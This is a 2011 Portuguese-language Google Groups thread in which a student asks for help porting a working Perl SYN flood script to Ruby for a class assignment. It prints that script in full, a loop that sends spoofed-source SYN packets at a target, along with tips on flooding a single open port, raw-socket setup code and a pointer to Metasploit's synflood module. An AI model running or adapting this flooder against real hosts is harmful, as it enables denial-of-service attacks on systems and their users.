Simulação de ataque syn flood em ruby

126 views
Skip to first unread message

Nelson Coelho

unread,
Sep 18, 2011, 6:55:24 PM9/18/11
to rails-br
Boa noite a todos!
Estou precisando para um trabalho de aula, fazer um script em ruby
para simular o ataque synflood, tenho um script em perl que funciona,
o código esta abaixo:
---------------
use Net::RawIP;

if($#ARGV == 2) {
($src,$dst,$port) = @ARGV;
$a = new Net::RawIP;
while(1) {
$src_port = rand(65534)+1;
$a->set({ip => {saddr => $src,daddr => $dst},tcp => {source =>
$src_port,dest => $port, syn => 1}});
$a->send;
}
} else {
print "./synflooder source_ip destination_ip destination_port\n";
}
----------------
Já perdi algum tempo pesquisando e tentando fazer em ruby usando o
libnet e racket, mas não tive sucesso, alguém tem uma idéia de como
fazer isso?

felipe moraes

unread,
Sep 19, 2011, 9:16:01 AM9/19/11
to rail...@googlegroups.com
Syn é tentativa de conexão né ? to enferrujado :D


Então, basta um loop de s = TCPSocket.open(host, port)

Cada open faz um Syn

No exemplo acima a porta tá randomica .. para surtir mais efeito, procura uma porta aberta e flooda só ela


--
Você está recebendo esta mensagem porque se inscreveu no grupo "rails-br" dos Grupos do Google.
Para postar neste grupo, envie um e-mail para rail...@googlegroups.com.
Para cancelar a inscrição nesse grupo, envie um e-mail para rails-br+u...@googlegroups.com.
Para obter mais opções, visite esse grupo em http://groups.google.com/group/rails-br?hl=pt-BR.




--
http://felipebastosweb.com.br
http://twitter.com/felipebastosweb

Everaldo Gomes

unread,
Sep 19, 2011, 9:59:26 AM9/19/11
to rail...@googlegroups.com
Acho que tem que usar Raw Sockets para fazer esse tipo de ataque, pelo que li do código que ele mandou.

Estou meio enferrujado nisso, senão ajudava. E depois, não posso fazer o trabalho de escola dos outros, né? :D
Mas tentei dar umas googladas e não encontrei nada de muito útil, senão teria mandado.

Mas enfim, tenho a intuição de que TCPSocket não funcionaria para um ataque syn flood.

Abraços,
Everaldo

2011/9/19 felipe moraes <feli...@gmail.com>

felipe moraes

unread,
Sep 19, 2011, 7:07:07 PM9/19/11
to rail...@googlegroups.com
É isso mesmo, o que queria postar era o link por que já indicaria o caminho, o resto foi enchimento de chorriça :D

Se o cara procurar no manual da linguagem [que ainda não domino :D] vai encontrar isso.


Vai descobrir que existe o Socket Básico.


E com ele vai poder criar um Raw Socket


begin
   rsock = Socket.open(Socket::PF_INET, Socket::SOCK_RAW,
Socket::IPPROTO_RAW)
rescue Errno::EPERM
   $stderr.puts "Must run #{$0} as root."
   exit!
end

Vê se não fica sniffando a rede da facu. :D

Nelson Coelho

unread,
Sep 20, 2011, 5:39:06 PM9/20/11
to rails-br
Obrigado a todos pelas dicas,
eu ainda não tive sucesso, estou tentando endender melhor como o
Socket trabalha.
Pelo que entendi, ao iniciar uma conexão 3 mensagens são trocadas,

1-o cliente envia um SYN para o servidor
2-o servidor responde com um SYN/ACK
3-o cliente responde com um ACK

O problema, por exemplo do TCPSocket é que ele faz os 3 passos acima,
mas para ser um ataque Synflood,
o passo 3 não poderia ser executado, para que o servidor fique com a
conexão aberta por um tempo
esperando pelo ACK do cliente, que não deve acontecer.

Novamente obrigado a todos, vou continuar a batalha e se alguem tiver
mais alguma dica eu agradeço.

Nelson

On Sep 19, 8:07 pm, felipe moraes <felipe...@gmail.com> wrote:
> É isso mesmo, o que queria postar era o link por que já indicaria o caminho,
> o resto foi enchimento de chorriça :D
>
> Se o cara procurar no manual da linguagem [que ainda não domino :D] vai
> encontrar isso.
>
> http://www.ruby-doc.org/stdlib/libdoc/socket/rdoc/index.html
>
> Vai descobrir que existe o Socket Básico.
>
> http://www.ruby-doc.org/stdlib/libdoc/socket/rdoc/classes/Socket.html
>
> E com ele vai poder criar um Raw Socket
>
> http://www.ruby-forum.com/topic/90408
>
> begin
>
>    rsock = Socket.open(Socket::PF_INET, Socket::SOCK_RAW,
> Socket::IPPROTO_RAW)
> rescue Errno::EPERM
>    $stderr.puts "Must run #{$0} as root."
>    exit!
> end
>
> Vê se não fica sniffando a rede da facu. :D
>
> Em 19 de setembro de 2011 10:59, Everaldo Gomes
> <everaldo.go...@gmail.com>escreveu:
>
>
>
>
>
>
>
>
>
> > Acho que tem que usar Raw Sockets para fazer esse tipo de ataque, pelo que
> > li do código que ele mandou.
>
> > Estou meio enferrujado nisso, senão ajudava. E depois, não posso fazer o
> > trabalho de escola dos outros, né? :D
> > Mas tentei dar umas googladas e não encontrei nada de muito útil, senão
> > teria mandado.
>
> > Mas enfim, tenho a intuição de que TCPSocket não funcionaria para um ataque
> > syn flood.
>
> > Abraços,
> > Everaldo
>
> > 2011/9/19 felipe moraes <felipe...@gmail.com>
>
> >> Syn é tentativa de conexão né ? to enferrujado :D
>
> >>http://www.tutorialspoint.com/ruby/ruby_socket_programming.htm
>
> >> Então, basta um loop de s = TCPSocket.open(host, port)
>
> >> Cada open faz um Syn
>
> >> No exemplo acima a porta tá randomica .. para surtir mais efeito, procura
> >> uma porta aberta e flooda só ela
>

felipe moraes

unread,
Sep 20, 2011, 5:46:14 PM9/20/11
to rail...@googlegroups.com
Veja a classe Socket e crie um raw Socket como foi falado.

O lance é parar na abertura de conexão, antes que o servidor aceite-a.

Eduardo Maes

unread,
Sep 20, 2011, 10:18:16 PM9/20/11
to rail...@googlegroups.com
Boa noite Nelson.

Não sou programador, sei só o básico de ruby, mas conheço um pouco de segurança.

Existe o Metasploit¹, que é um framework de código aberto para testes de penetração.

Foi reescrito em Ruby, e contém módulos auxiliares.

Um desses módulos é responsável por ataques de SYN Flood.

Maiores informações sobre o módulo:

http://www.metasploit.com/modules/auxiliary/dos/tcp/synflood

Aqui está o código do módulo:

http://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/auxiliary/dos/tcp/synflood.rb

Um exemplo de utilização do software é o vídeo² feito pelo Marcelo Moraes do www.compilandoideias.com.br.

Talvez essas informações te mostrem o caminho das pedras.

¹ http://www.metasploit.com
² http://www.youtube.com/watch?v=6q9C06GHb3A




Em 20 de setembro de 2011 18:39, Nelson Coelho <nelso...@gmail.com> escreveu:
Reply all
Reply to author
Forward
0 new messages